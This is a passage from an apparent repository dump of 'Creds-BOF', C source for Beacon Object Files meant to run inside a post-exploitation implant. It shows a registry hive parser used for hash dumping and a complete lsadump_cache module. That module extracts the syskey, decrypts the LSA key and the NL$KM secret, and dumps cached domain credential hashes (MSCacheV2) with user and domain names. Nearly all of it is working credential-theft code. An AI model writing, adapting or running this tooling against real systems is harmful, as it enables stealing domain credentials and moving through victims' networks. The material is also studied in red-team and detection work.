dataSize);\nstruct NkKey parseNkKey(const BYTE *data, uint32_t dataSize);\nstruct LfList parseLfList(const BYTE *data, uint32_t dataSize);\nstruct LiList parseLiList(const BYTE *data, uint32_t dataSize);\nstruct LhList parseLhList(const BYTE *data, uint32_t dataSize);\n\n// Get subkey offsets from list\nuint32_t *getSubkeyOffsets(FILE *file, uint32_t subkeyListOffset, uint32_t *outCount);\n\n// Navigate to path in registry\nstruct NkKey navigateToPath(FILE *file, struct NkKey *currentKey, const char **path, uint32_t pathCount);\n\n// Parse value list entries\nstruct ValueEntry *parseValueList(FILE *file, uint32_t valueListOffset, uint32_t numValues, uint32_t *outCount);\n\n// Free memory allocated by the parser\nvoid freeNkKey(struct NkKey *key);\nvoid freeValueEntry(struct ValueEntry *entry);\nvoid freeLfList(struct LfList *list);\nvoid freeLiList(struct LiList *list);\nvoid freeLhList(struct LhList *list);\n\nLPVOID AllocateMemory(SIZE_T size)\n{\n    return KERNEL32$VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);\n}\n\nvoid FreeMemory(LPVOID ptr)\n{\n    if (ptr)\n    {\n        KERNEL32$VirtualFree(ptr, 0, MEM_RELEASE);\n    }\n}\n\nLPVOID ReallocateMemory(LPVOID ptr, SIZE_T size)\n{\n    if (!ptr)\n    {\n        return AllocateMemory(size);\n    }\n\n    LPVOID newPtr = AllocateMemory(size);\n    if (!newPtr)\n    {\n        return NULL;\n    }\n\n    // Get the size of the old allocation\n    MEMORY_BASIC_INFORMATION mbi;\n    if (KERNEL32$VirtualQuery(ptr, &mbi, sizeof(mbi)))\n    {\n        SIZE_T oldSize = mbi.RegionSize;\n        SIZE_T copySize = (oldSize < size) ? oldSize : size;\n        MSVCRT$memcpy(newPtr, ptr, copySize);\n    }\n\n    FreeMemory(ptr);\n    return newPtr;\n}\n\n// Helper function to read data from file\nstatic BOOL readFileData(FILE *file, uint32_t offset, void *buffer, uint32_t size)\n{\n    if (MSVCRT$fseek(file, 4096 + offset, SEEK_SET) != 0)\n    {\n        return FALSE;\n    }\n    return MSVCRT$fread(buffer, 1, size, file) == size;\n}\n\nBYTE *readHiveData(FILE *file, uint32_t offset, uint32_t size, uint32_t *outSize)\n{\n    BYTE *data = (BYTE *)AllocateMemory(size);\n    if (!data)\n    {\n        *outSize = 0;\n        return NULL;\n    }\n\n    if (!readFileData(file, offset, data, size))\n    {\n        FreeMemory(data);\n        *outSize = 0;\n        return NULL;\n    }\n\n    *outSize = size;\n    return data;\n}\n\nBYTE *readCell(FILE *file, uint32_t offset, uint32_t *outSize)\n{\n    int32_t cellSize;\n    if (!readFileData(file, offset, &cellSize, sizeof(cellSize)))\n    {\n        *outSize = 0;\n        return NULL;\n    }\n\n    cellSize = abs(cellSize); // The size is negative if cell is unallocated\n    BYTE *data = (BYTE *)AllocateMemory(cellSize - sizeof(cellSize));\n    if (!data)\n    {\n        *outSize = 0;\n        return NULL;\n    }\n\n    if (!readFileData(file, offset + sizeof(cellSize), data, cellSize - sizeof(cellSize)))\n    {\n        FreeMemory(data);\n        *outSize = 0;\n        return NULL;\n    }\n\n    *outSize = cellSize - sizeof(cellSize);\n    return data;\n}\n\nuint32_t *readValueList(FILE *file, uint32_t offset, uint32_t numValues, uint32_t *outCount)\n{\n    int32_t cellSize;\n    if (!readFileData(file, offset, &cellSize, sizeof(cellSize)))\n    {\n        *outCount = 0;\n        return NULL;\n    }\n\n    uint32_t *valueOffsets = (uint32_t *)AllocateMemory(numValues * sizeof(uint32_t));\n    if (!valueOffsets)\n    {\n        *outCount = 0;\n        return NULL;\n    }\n\n    if (!readFileData(file, offset + sizeof(cellSize), valueOffsets, numValues * sizeof(uint32_t)))\n    {\n        FreeMemory(valueOffsets);\n        *outCount = 0;\n        return NULL;\n    }\n\n    *outCount = numValues;\n    return valueOffsets;\n}\n\nstruct ValueEntry parseValueEntry(const BYTE *data, uint32_t dataSize)\n{\n    struct ValueEntry entry = {0};\n    if (dataSize < 2 || data[0] != 'v' || data[1] != 'k')\n    {\n        return entry;\n    }\n\n    uint16_t nameLength = *(const uint16_t *)(data + 2);\n    if (2 + nameLength > dataSize)\n    {\n        return entry;\n    }\n\n    entry.name = (char *)AllocateMemory(nameLength + 1);\n    if (!entry.name)\n    {\n        return entry;\n    }\n    MSVCRT$memcpy(entry.name, data + 20, nameLength);\n    entry.name[nameLength] = '\\0';\n\n    entry.dataSize = *(const int32_t *)(data + 4);\n    entry.dataOffset = *(const int32_t *)(data + 8);\n\n    return entry;\n}\n\nstruct NkKey parseNkKey(const BYTE *data, uint32_t dataSize)\n{\n    struct NkKey key = {0};\n    if (dataSize < 0x46 || data[0] != 'n' || data[1] != 'k')\n    {\n        return key;\n    }\n\n    uint16_t nameLength = *(const uint16_t *)(data + 72);\n    if (72 + nameLength > dataSize)\n    {\n        return key;\n    }\n\n    key.name = (char *)AllocateMemory(nameLength + 1);\n    if (!key.name)\n    {\n        return key;\n    }\n    MSVCRT$memcpy(key.name, data + 76, nameLength);\n    key.name[nameLength] = '\\0';\n\n    key.numSubkeys = *(const uint32_t *)(data + 20);\n    key.subkeyListOffset = *(const uint32_t *)(data + 28);\n    key.numValues = *(const uint32_t *)(data + 36);\n    key.valueListOffset = *(const uint32_t *)(data + 40);\n\n    return key;\n}\n\nstruct LfList parseLfList(const BYTE *data, uint32_t dataSize)\n{\n    struct LfList list = {0};\n    if (dataSize < 4 || data[0] != 'l' || data[1] != 'f')\n    {\n        return list;\n    }\n\n    list.count = *(const uint16_t *)(data + 2);\n    list.subkeyOffsets = (uint32_t *)AllocateMemory(list.count * sizeof(uint32_t));\n    if (!list.subkeyOffsets)\n    {\n        list.count = 0;\n        return list;\n    }\n\n    for (uint16_t i = 0; i < list.count; ++i)\n    {\n        if (dataSize < 4 + (i + 1) * 8)\n        {\n            FreeMemory(list.subkeyOffsets);\n            list.subkeyOffsets = NULL;\n            list.count = 0;\n            return list;\n        }\n        list.subkeyOffsets[i] = *(const uint32_t *)(data + 4 + i * 8);\n    }\n\n    return list;\n}\n\nstruct LiList parseLiList(const BYTE *data, uint32_t dataSize)\n{\n    struct LiList list = {0};\n    if (dataSize < 4 || data[0] != 'l' || data[1] != 'i')\n    {\n        return list;\n    }\n\n    list.count = *(const uint16_t *)(data + 2);\n    list.subkeyOffsets = (uint32_t *)AllocateMemory(list.count * sizeof(uint32_t));\n    if (!list.subkeyOffsets)\n    {\n        list.count = 0;\n        return list;\n    }\n\n    for (uint16_t i = 0; i < list.count; ++i)\n    {\n        if (dataSize < 4 + (i + 1) * 4)\n        {\n            FreeMemory(list.subkeyOffsets);\n            list.subkeyOffsets = NULL;\n            list.count = 0;\n            return list;\n        }\n        list.subkeyOffsets[i] = *(const uint32_t *)(data + 4 + i * 4);\n    }\n\n    return list;\n}\n\nstruct LhList parseLhList(const BYTE *data, uint32_t dataSize)\n{\n    struct LhList list = {0};\n    if (dataSize < 4 || data[0] != 'l' || data[1] != 'h')\n    {\n        return list;\n    }\n\n    list.count = *(const uint16_t *)(data + 2);\n    list.subkeyOffsets = (uint32_t *)AllocateMemory(list.count * sizeof(uint32_t));\n    if (!list.subkeyOffsets)\n    {\n        list.count = 0;\n        return list;\n    }\n\n    for (uint16_t i = 0; i < list.count; ++i)\n    {\n        if (dataSize < 4 + (i + 1) * 8)\n        {\n            FreeMemory(list.subkeyOffsets);\n            list.subkeyOffsets = NULL;\n            list.count = 0;\n            return list;\n        }\n        list.subkeyOffsets[i] = *(const uint32_t *)(data + 4 + i * 8);\n    }\n\n    return list;\n}\n\nuint32_t *getSubkeyOffsets(FILE *file, uint32_t subkeyListOffset, uint32_t *outCount)\n{\n    uint32_t cellSize;\n    BYTE *listCell = readCell(file, subkeyListOffset, &cellSize);\n    if (!listCell)\n    {\n        *outCount = 0;\n        return NULL;\n    }\n\n    uint32_t *offsets = NULL;\n    *outCount = 0;\n\n    if (listCell[0] == 'l' && listCell[1] == 'f')\n    {\n        struct LfList list = parseLfList(listCell, cellSize);\n        offsets = list.subkeyOffsets;\n        *outCount = list.count;\n    }\n    else if (listCell[0] == 'l' && listCell[1] == 'i')\n    {\n        struct LiList list = parseLiList(listCell, cellSize);\n        offsets = list.subkeyOffsets;\n        *outCount = list.count;\n    }\n    else if (listCell[0] == 'l' && listCell[1] == 'h')\n    {\n        struct LhList list = parseLhList(listCell, cellSize);\n        offsets = list.subkeyOffsets;\n        *outCount = list.count;\n    }\n    else\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"[HASHDUMP] Unsupported list type\\n\");\n    }\n\n    FreeMemory(listCell);\n    return offsets;\n}\n\nstruct NkKey navigateToPath(FILE *file, struct NkKey *currentKey, const char **path, uint32_t pathCount)\n{\n    struct NkKey navigatedKey = *currentKey;\n\n    for (uint32_t i = 0; i < pathCount; i++)\n    {\n        uint32_t offsetCount;\n        uint32_t *offsets = getSubkeyOffsets(file, navigatedKey.subkeyListOffset, &offsetCount);\n        if (!offsets)\n        {\n            return navigatedKey;\n        }\n\n        BOOL found = FALSE;\n        for (uint32_t j = 0; j < offsetCount; j++)\n        {\n            uint32_t cellSize;\n            BYTE *cellData = readCell(file, offsets[j], &cellSize);\n            if (!cellData)\n                continue;\n\n            struct NkKey subkey = parseNkKey(cellData, cellSize);\n            FreeMemory(cellData);\n\n            if (subkey.name && MSVCRT$strcmp(subkey.name, path[i]) == 0)\n            {\n                freeNkKey(&navigatedKey);\n                navigatedKey = subkey;\n                found = TRUE;\n                break;\n            }\n            freeNkKey(&subkey);\n        }\n\n        FreeMemory(offsets);\n        if (!found)\n        {\n            // Path component missing\n            return navigatedKey;\n        }\n    }\n\n    return navigatedKey;\n}\n\nstruct ValueEntry *parseValueList(FILE *file, uint32_t valueListOffset, uint32_t numValues, uint32_t *outCount)\n{\n    uint32_t valueCount;\n    uint32_t *valueOffsets = readValueList(file, valueListOffset, numValues, &valueCount);\n    if (!valueOffsets || valueCount == 0)\n    {\n        *outCount = 0;\n        return NULL;\n    }\n\n    struct ValueEntry *entries = (struct ValueEntry *)AllocateMemory(valueCount * sizeof(struct ValueEntry));\n    if (!entries)\n    {\n        FreeMemory(valueOffsets);\n        *outCount = 0;\n        return NULL;\n    }\n\n    for (uint32_t i = 0; i < valueCount; i++)\n    {\n        uint32_t cellSize;\n        BYTE *data = readCell(file, valueOffsets[i], &cellSize);\n        if (!data)\n        {\n            entries[i] = (struct ValueEntry){0};\n            continue;\n        }\n\n        entries[i] = parseValueEntry(data, cellSize);\n        FreeMemory(data);\n    }\n\n    FreeMemory(valueOffsets);\n    *outCount = valueCount;\n    return entries;\n}\n\nvoid freeNkKey(struct NkKey *key)\n{\n    if (key && key->name)\n    {\n        FreeMemory(key->name);\n        key->name = NULL;\n    }\n}\n\nvoid freeValueEntry(struct ValueEntry *entry)\n{\n    if (entry && entry->name)\n    {\n        FreeMemory(entry->name);\n        entry->name = NULL;\n    }\n}\n\nvoid freeLfList(struct LfList *list)\n{\n    if (list && list->subkeyOffsets)\n    {\n        FreeMemory(list->subkeyOffsets);\n        list->subkeyOffsets = NULL;\n    }\n}\n\nvoid freeLiList(struct LiList *list)\n{\n    if (list && list->subkeyOffsets)\n    {\n        FreeMemory(list->subkeyOffsets);\n        list->subkeyOffsets = NULL;\n    }\n}\n\nvoid freeLhList(struct LhList *list)\n{\n    if (list && list->subkeyOffsets)\n    {\n        FreeMemory(list->subkeyOffsets);\n        list->subkeyOffsets = NULL;\n    }\n}"
  },
  {
    "path": "Creds-BOF/lsadump/cache.c",
    "content": "/*\n * lsadump_cache BOF by shashinma\n * Dumps cached domain credentials (DCC2/MSCacheV2)\n * Requires SYSTEM privileges\n */\n\n#include \"include/cache.h\"\n#include \"lsadump_helper.c\"\n\n// ============================================================================\n// Crypto: AES-128 CTS Decryption (Cipher-text Stealing)\n// ============================================================================\n\nstatic HCRYPTKEY CreateAES128Key(HCRYPTPROV hProv, const BYTE* key, DWORD mode) {\n    AES128_KEY_BLOB keyBlob;\n    HCRYPTKEY hKey = 0;\n\n    keyBlob.header.bType = PLAINTEXTKEYBLOB;\n    keyBlob.header.bVersion = CUR_BLOB_VERSION;\n    keyBlob.header.reserved = 0;\n    keyBlob.header.aiKeyAlg = CALG_AES_128;\n    keyBlob.keySize = AES_128_KEY_SIZE;\n    MSVCRT$memcpy(keyBlob.key, key, AES_128_KEY_SIZE);\n\n    if (!ADVAPI32$CryptImportKey(hProv, (BYTE*)&keyBlob, sizeof(keyBlob), 0, 0, &hKey))\n        return 0;\n\n    ADVAPI32$CryptSetKeyParam(hKey, KP_MODE, (BYTE*)&mode, 0);\n    return hKey;\n}\n\nstatic BOOL DecryptAES128_CTS(HCRYPTPROV hProv, const BYTE* key, const BYTE* iv,\n                               const BYTE* encrypted, DWORD encLen, BYTE* decrypted) {\n    HCRYPTKEY hKeyCBC = 0, hKeyECB = 0;\n    DWORD numBlocks, i;\n    BYTE block[16], prevCipher[16], tmp[16];\n    DWORD blockLen;\n\n    if (encLen < 16) return FALSE;\n\n    numBlocks = (encLen + 15) / 16;\n    MSVCRT$memcpy(prevCipher, iv, 16);\n\n    hKeyCBC = CreateAES128Key(hProv, key, CRYPT_MODE_CBC);\n    if (!hKeyCBC) return FALSE;\n    ADVAPI32$CryptSetKeyParam(hKeyCBC, KP_IV, (BYTE*)iv, 0);\n\n    if (numBlocks <= 1) {\n        MSVCRT$memcpy(decrypted, encrypted, encLen);\n        blockLen = 16;\n        ADVAPI32$CryptDecrypt(hKeyCBC, 0, FALSE, 0, decrypted, &blockLen);\n        ADVAPI32$CryptDestroyKey(hKeyCBC);\n        return TRUE;\n    }\n\n    for (i = 0; i < numBlocks - 2; i++) {\n        MSVCRT$memcpy(block, encrypted + i * 16, 16);\n        MSVCRT$memcpy(tmp, block, 16);\n        blockLen = 16;\n        if (!ADVAPI32$CryptDecrypt(hKeyCBC, 0, FALSE, 0, block, &blockLen)) {\n            ADVAPI32$CryptDestroyKey(hKeyCBC);\n            return FALSE;\n        }\n        MSVCRT$memcpy(decrypted + i * 16, block, 16);\n        MSVCRT$memcpy(prevCipher, tmp, 16);\n    }\n\n    ADVAPI32$CryptDestroyKey(hKeyCBC);\n\n    DWORD lastBlockSize = encLen - (numBlocks - 1) * 16;\n    BYTE* Cn_1 = (BYTE*)(encrypted + (numBlocks - 2) * 16);\n    BYTE* Cn = (BYTE*)(encrypted + (numBlocks - 1) * 16);\n\n    hKeyECB = CreateAES128Key(hProv, key, CRYPT_MODE_ECB);\n    if (!hKeyECB) return FALSE;\n\n    BYTE intermediate[16];\n    MSVCRT$memcpy(intermediate, Cn_1, 16);\n    blockLen = 16;\n    ADVAPI32$CryptDecrypt(hKeyECB, 0, FALSE, 0, intermediate, &blockLen);\n\n    BYTE paddedCn[16];\n    MSVCRT$memset(paddedCn, 0, 16);\n    MSVCRT$memcpy(paddedCn, Cn, lastBlockSize);\n    for (i = lastBlockSize; i < 16; i++)\n        paddedCn[i] = intermediate[i];\n\n    BYTE Pn[16];\n    for (i = 0; i < 16; i++)\n        Pn[i] = intermediate[i] ^ paddedCn[i];\n    MSVCRT$memcpy(decrypted + (numBlocks - 1) * 16, Pn, lastBlockSize);\n\n    MSVCRT$memcpy(block, paddedCn, 16);\n    blockLen = 16;\n    ADVAPI32$CryptDecrypt(hKeyECB, 0, FALSE, 0, block, &blockLen);\n\n    for (i = 0; i < 16; i++)\n        block[i] ^= prevCipher[i];\n\n    MSVCRT$memcpy(decrypted + (numBlocks - 2) * 16, block, 16);\n    ADVAPI32$CryptDestroyKey(hKeyECB);\n\n    return TRUE;\n}\n\n// ============================================================================\n// Get LSA key from PolEKList\n// ============================================================================\n\nstatic BOOL GetLsaKey(HKEY hSecurity, const BYTE sysKey[SYSKEY_LENGTH], BYTE lsaKey[AES_256_KEY_SIZE], HCRYPTPROV hProv) {\n    HKEY hPolicy, hPolKey;\n    DWORD size, type;\n    BYTE* polEKList = NULL;\n    BYTE derivedKey[AES_256_KEY_SIZE];\n    DWORD secretSize, encryptedSize;\n    LONG res;\n    \n    res = ADVAPI32$RegOpenKeyExW(hSecurity, L\"Policy\", 0, KEY_READ, &hPolicy);\n    if (res != ERROR_SUCCESS) return FALSE;\n    \n    res = ADVAPI32$RegOpenKeyExW(hPolicy, L\"PolEKList\", 0, KEY_READ, &hPolKey);\n    if (res != ERROR_SUCCESS) {\n        ADVAPI32$RegCloseKey(hPolicy);\n        return FALSE;\n    }\n    \n    size = 0;\n    ADVAPI32$RegQueryValueExW(hPolKey, NULL, NULL, &type, NULL, &size);\n    if (size < 60) {\n        ADVAPI32$RegCloseKey(hPolKey);\n        ADVAPI32$RegCloseKey(hPolicy);\n        return FALSE;\n    }\n    \n    polEKList = (BYTE*)AllocMem(size);\n    if (!polEKList) {\n        ADVAPI32$RegCloseKey(hPolKey);\n        ADVAPI32$RegCloseKey(hPolicy);\n        return FALSE;\n    }\n    \n    res = ADVAPI32$RegQueryValueExW(hPolKey, NULL, NULL, NULL, polEKList, &size);\n    ADVAPI32$RegCloseKey(hPolKey);\n    ADVAPI32$RegCloseKey(hPolicy);\n    if (res != ERROR_SUCCESS) { FreeMem(polEKList); return FALSE; }\n    \n    if (!DeriveKey(hProv, sysKey, SYSKEY_LENGTH, polEKList + 28, LAZY_NT6_IV_SIZE, 1000, derivedKey, AES_256_KEY_SIZE)) {\n        FreeMem(polEKList);\n        return FALSE;\n    }\n    \n    encryptedSize = size - 60;\n    if (encryptedSize < 32) { FreeMem(polEKList); return FALSE; }\n    \n    if (!DecryptAES256_ECB(hProv, derivedKey, polEKList + 60, encryptedSize, polEKList + 60)) {\n        FreeMem(polEKList);\n        return FALSE;\n    }\n    \n    secretSize = *(DWORD*)(polEKList + 60);\n    if (secretSize == 0 || secretSize > encryptedSize) {\n        FreeMem(polEKList);\n        return FALSE;\n    }\n    \n    BYTE* keysData = polEKList + 60 + 16;\n    DWORD nbKeys = *(DWORD*)(keysData + 24);\n    if (nbKeys == 0) {\n        FreeMem(polEKList);\n        return FALSE;\n    }\n    \n    BYTE* firstKey = keysData + 28;\n    DWORD keySize = *(DWORD*)(firstKey + 20);\n    if (keySize > 32) keySize = 32;\n    MSVCRT$memcpy(lsaKey, firstKey + 24, keySize);\n    \n    FreeMem(polEKList);\n    return TRUE;\n}\n\n// ============================================================================\n// Decrypt NL$KM secret\n// ============================================================================\n\nstatic BOOL GetNLKM(HKEY hSecurity, const BYTE lsaKey[AES_256_KEY_SIZE], BYTE nlkm[16], HCRYPTPROV hProv) {\n    HKEY hCurrVal;\n    DWORD size, type, encryptedSize, secretSize;\n    BYTE* encData = NULL;\n    BYTE derivedKey[AES_256_KEY_SIZE];\n    LONG res;\n    \n    res = ADVAPI32$RegOpenKeyExW(hSecurity, L\"Policy\\\\Secrets\\\\NL$KM\\\\CurrVal\", 0, KEY_READ, &hCurrVal);\n    if (res != ERROR_SUCCESS) return FALSE;\n    \n    size = 0;\n    ADVAPI32$RegQueryValueExW(hCurrVal, NULL, NULL, &type, NULL, &size);\n    if (size < 60) {\n        ADVAPI32$RegCloseKey(hCurrVal);\n        return FALSE;\n    }\n    \n    encData = (BYTE*)AllocMem(size);\n    if (!encData) { ADVAPI32$RegCloseKey(hCurrVal); return FALSE; }\n    \n    res = ADVAPI32$RegQueryValueExW(hCurrVal, NULL, NULL, NULL, encData, &size);\n    ADVAPI32$RegCloseKey(hCurrVal);\n    if (res != ERROR_SUCCESS) { FreeMem(encData); return FALSE; }\n    \n    if (!DeriveKey(hProv, lsaKey, AES_256_KEY_SIZE, encData + 28, LAZY_NT6_IV_SIZE, 1000, derivedKey, AES_256_KEY_SIZE)) {\n        FreeMem(encData);\n        return FALSE;\n    }\n    \n    encryptedSize = size - 60;\n    if (encryptedSize < 32) { FreeMem(encData); return FALSE; }\n    \n    if (!DecryptAES256_ECB(hProv, derivedKey, encData + 60, encryptedSize, encData + 60)) {\n        FreeMem(encData);\n        return FALSE;\n    }\n    \n    secretSize = *(DWORD*)(encData + 60);\n    if (secretSize < 16 || secretSize > encryptedSize) {\n        FreeMem(encData);\n        return FALSE;\n    }\n    \n    MSVCRT$memcpy(nlkm, encData + 60 + 16, 16);\n    \n    FreeMem(encData);\n    return TRUE;\n}\n\n// ============================================================================\n// Enumerate and decrypt cached credentials\n// ============================================================================\n\nstatic void EnumerateCache(HKEY hSecurity, const BYTE nlkm[16], HCRYPTPROV hProv) {\n    HKEY hCache;\n    DWORD nbValues, maxNameLen, maxValueLen, i;\n    wchar_t* valueName = NULL;\n    BYTE* valueData = NULL;\n    BYTE* decrypted = NULL;\n    DWORD nameLen, dataLen, type;\n    DWORD iter = 10240, iterCount;\n    DWORD cacheCount = 0;\n    LONG res;\n    \n    res = ADVAPI32$RegOpenKeyExW(hSecurity, L\"Cache\", 0, KEY_READ, &hCache);\n    if (res != ERROR_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR, \"[!] Failed to open Cache: %d\\n\", res);\n        return;\n    }\n    \n    DWORD iterSize = sizeof(iterCount);\n    if (ADVAPI32$RegQueryValueExW(hCache, L\"NL$IterationCount\", NULL, NULL, (LPBYTE)&iterCount, &iterSize) == ERROR_SUCCESS) {\n        iter = (iterCount > 10240) ? (iterCount & ~0x3ff) : (iterCount << 10);\n        BeaconPrintf(CALLBACK_OUTPUT, \"* NL$IterationCount is %u, %u real iteration(s)\\n\", iterCount, iter);\n        if (!iterCount)\n            BeaconPrintf(CALLBACK_OUTPUT, \"* DCC1 mode!\\n\");\n    } else {\n        BeaconPrintf(CALLBACK_OUTPUT, \"* Iteration is set to default (10240)\\n\");\n    }\n    \n    if (ADVAPI32$RegQueryInfoKeyW(hCache, NULL, NULL, NULL, NULL, NULL, NULL, &nbValues, &maxNameLen, &maxValueLen, NULL, NULL) != ERROR_SUCCESS) {\n        ADVAPI32$RegCloseKey(hCache);\n        return;\n    }\n    \n    maxNameLen++;\n    valueName = (wchar_t*)AllocMem((maxNameLen + 1) * sizeof(wchar_t));\n    valueData = (BYTE*)AllocMem(maxValueLen);\n    decrypted = (BYTE*)AllocMem(maxValueLen);\n    if (!valueName || !valueData || !decrypted) {\n        if (valueName) FreeMem(valueName);\n        if (valueData) FreeMem(valueData);\n        if (decrypted) FreeMem(decrypted);\n        ADVAPI32$RegCloseKey(hCache);\n        return;\n    }\n    \n    for (i = 0; i < nbValues; i++) {\n        PMSCACHE_ENTRY entry;\n        DWORD encDataSize;\n        wchar_t* username;\n        wchar_t* domain;\n        char usernameA[128], domainA[128];\n        DWORD j;\n        \n        nameLen = maxNameLen;\n        dataLen = maxValueLen;\n        \n        if (ADVAPI32$RegEnumValueW(hCache, i, valueName, &nameLen, NULL, &type, valueData, &dataLen) != ERROR_SUCCESS)\n            continue;\n        \n        if (MSVCRT$_wcsnicmp(valueName, L\"NL$Control\", 10) == 0 ||\n            MSVCRT$_wcsnicmp(valueName, L\"NL$IterationCount\", 17) == 0)\n            continue;\n        \n        entry = (PMSCACHE_ENTRY)valueData;\n        \n        if (!(entry->flags & 1))\n            continue;\n        \n        encDataSize = dataLen - FIELD_OFFSET_ENC_DATA;\n        if (encDataSize < sizeof(MSCACHE_DATA))\n            continue;\n        \n        BeaconPrintf(CALLBACK_OUTPUT, \"\\n[%S]\\n\", valueName);\n        BeaconPrintf(CALLBACK_OUTPUT, \"RID       : %08x (%u)\\n\", entry->userId, entry->userId);\n        \n        if (!DecryptAES128_CTS(hProv, nlkm, entry->iv, entry->enc_data, encDataSize, decrypted)) {\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Decryption failed\\n\");\n            continue;\n        }\n        \n        PMSCACHE_DATA msCacheData = (PMSCACHE_DATA)decrypted;\n        \n        username = (wchar_t*)(decrypted + sizeof(MSCACHE_DATA));\n        for (j = 0; j < entry->szUserName / 2 && j < 127; j++)\n            usernameA[j] = (char)username[j];\n        usernameA[j] = '\\0';\n        \n        domain = (wchar_t*)((BYTE*)username + SIZE_ALIGN(entry->szUserName, 4));\n        for (j = 0; j < entry->szDomainName / 2 && j < 127; j++)\n            domainA[j] = (char)domain[j];\n        domainA[j] = '\\0';\n        \n        char hashStr[64];\n        FormatHex(msCacheData->mshashdata, LM_NTLM_HASH_LENGTH, hashStr, sizeof(hashStr));\n        BeaconPrintf(CALLBACK_OUTPUT, \"User      : %s\\\\%s\\nMsCacheV2 : %s\\n\", domainA, usernameA, hashStr);\n        \n        cacheCount++;\n    }\n    \n    FreeMem(valueName);\n    FreeMem(valueData);\n    FreeMem(decrypted);\n    ADVAPI32$RegCloseKey(hCache);\n    \n    BeaconPrintf(CALLBACK_OUTPUT, \"\\n[+] %u cached credential(s)\\n\", cacheCount);\n}\n\n// ============================================================================\n// Entry Point\n// ============================================================================\n\nvoid go(char* args, int len) {\n    (void)args; (void)len;\n    \n    HKEY hSystem = NULL, hSecurity = NULL;\n    BYTE sysKey[SYSKEY_LENGTH];\n    BYTE lsaKey[AES_256_KEY_SIZE];\n    BYTE nlkm[16];\n    LONG res;\n    HCRYPTPROV hProv = 0;\n    char hexStr[64];\n    \n    BeaconPrintf(CALLBACK_OUTPUT, \"\\n=== lsadump::cache ===\\n\\n\");\n    \n    if (!ADVAPI32$CryptAcquireContextA(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[!] CryptAcquireContext failed\\n\");\n        return;\n    }\n    \n    res = ADVAPI32$RegOpenKeyExW(HKEY_LOCAL_MACHINE, L\"SYSTEM\", 0, KEY_READ, &hSystem);\n    if (res != ERROR_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR, \"[!] Failed to open SYSTEM: %d\\n\", res);\n        ADVAPI32$CryptReleaseContext(hProv, 0);\n        return;\n    }\n    \n    if (!GetSyskey(hSystem, sysKey)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[!] Failed to extract syskey\\n\");\n        ADVAPI32$RegCloseKey(hSystem);\n        ADVAPI32$CryptReleaseContext(hProv, 0);\n        return;\n    }\n    FormatHex(sysKey, SYSKEY_LENGTH, hexStr, sizeof(hexStr));\n    BeaconPrintf(CALLBACK_OUTPUT, \"Syskey: %s\\n\", hexStr);\n    ADVAPI32$RegCloseKey(hSystem);\n    \n    res = ADVAPI32$RegOpenKeyExW(HKEY_LOCAL_MACHINE, L\"SECURITY\", 0, KEY_READ, &hSecurity);\n    if (res != ERROR_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR, \"[!] Failed to open SECURITY: %d (need SYSTEM privileges)\\n\", res);\n        ADVAPI32$CryptReleaseContext(hProv, 0);\n        return;\n    }\n    \n    if (!GetLsaKey(hSecurity, sysKey, lsaKey, hProv)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[!] Failed to get LSA key\\n\");\n        ADVAPI32$RegCloseKey(hSecurity);\n        ADVAPI32$CryptReleaseContext(hProv, 0);\n        return;\n    }\n    \n    if (!GetNLKM(hSecurity, lsaKey, nlkm, hProv)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[!] Failed to get NL$KM (no cached credentials?)\\n\");\n        ADVAPI32$RegCloseKey(hSecurity);\n        ADVAPI32$CryptReleaseContext(hProv, 0);\n        return;\n    }\n    FormatHex(nlkm, 16, hexStr, sizeof(hexStr));\n    BeaconPrintf(CALLBACK_OUTPUT, \"NL$KM : %s\\n\", hexStr);\n    \n    EnumerateCache(hSecurity, nlkm, hProv);\n    \n    ADVAPI32$RegCloseKey(hSecurity);\n    ADVAPI32$CryptReleaseContext(hProv, 0);\n}\n"
  },
  {
    "path": "Creds-BOF/lsadump/include/cache.h",
    "content": "/*\n * cache.h - Cache-specific definitions for lsadump_cache BOF\n * by shashinma\n */\n\n#ifndef LSADUMP_CACHE_H\n#define LSADUMP_CACHE_H\n\n#include \"lsadump.h\"\n\n// ============================================================================\n// MSCACHE Structures\n// ============================================================================\n\n#pragma pack(push, 1)\n// MSCACHE_DATA - hash data at the beginning of decrypted enc_data\n// Size must be 56 bytes (16+16+24) for correct username offset\ntypedef struct _MSCACHE_DATA {\n    BYTE mshashdata[LM_NTLM_HASH_LENGTH];  // 16: DCC2 hash\n    BYTE unkhash[LM_NTLM_HASH_LENGTH];     // 16: unknown hash\n    DWORD unk0;                             // 4\n    DWORD szSC;                             // 4\n    DWORD unkLength;                        // 4\n    DWORD unk2;                             // 4\n    DWORD unk3;                             // 4\n    DWORD unk4;                             // 4\n} MSCACHE_DATA, *PMSCACHE_DATA;  // Total: 56 bytes\n\ntypedef struct _MSCACHE_ENTRY {\n    WORD szUserName;\n    WORD szDomainName;\n    WORD szEffectiveName;\n    WORD szFullName;\n    WORD szlogonScript;\n    WORD szprofilePath;\n    WORD szhomeDirectory;\n    WORD szhomeDirectoryDrive;\n    DWORD userId;\n    DWORD primaryGroupId;\n    DWORD groupCount;\n    WORD szlogonDomainName;\n    WORD unk0;\n    FILETIME lastWrite;\n    DWORD revision;\n    DWORD sidCount;\n    DWORD flags;\n    DWORD unk1;\n    DWORD logonPackage;\n    WORD szDnsDomainName;\n    WORD szupn;\n    BYTE iv[LAZY_NT6_IV_SIZE];\n    BYTE cksum[16];\n    BYTE enc_data[1];\n} MSCACHE_ENTRY, *PMSCACHE_ENTRY;\n#pragma pack(pop)\n\n#define FIELD_OFFSET_ENC_DATA (sizeof(MSCACHE_ENTRY) - 1)\n\n#endif // LSADUMP_CACHE_H\n"
  },
  {
    "path": "Creds-BOF/lsadump/include/lsadump.h",
